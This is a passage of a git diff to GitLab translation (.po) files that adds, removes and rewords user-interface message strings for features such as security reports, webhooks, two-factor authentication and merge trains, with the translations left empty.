+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr ""
@@ -27176,21 +27984,21 @@ msgstr ""
msgid "Welcome to GitLab"
msgstr ""
-msgid "Welcome to GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr ""
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr ""
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27200,6 +28008,9 @@ msgstr ""
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27517,10 +28328,10 @@ msgstr ""
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr ""
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
@@ -27529,6 +28340,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr ""
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27538,6 +28355,9 @@ msgstr ""
msgid "You are not authorized to perform this action"
msgstr ""
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr ""
@@ -27574,9 +28394,6 @@ msgstr ""
msgid "You can also upload existing files from your computer using the instructions below."
msgstr ""
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr ""
@@ -27610,13 +28427,13 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
+msgid "You can invite a new member to %{project_name} or invite another group."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
msgstr ""
msgid "You can move around the graph by using the arrow keys."
@@ -27700,10 +28517,10 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -27916,6 +28733,9 @@ msgstr ""
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr ""
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/sw_KE/gitlab.po b/locale/sw_KE/gitlab.po
index 76d1275ed53..4132468d6f6 100644
--- a/locale/sw_KE/gitlab.po
+++ b/locale/sw_KE/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: sw\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:41\n"
+"PO-Revision-Date: 2020-09-04 23:05\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
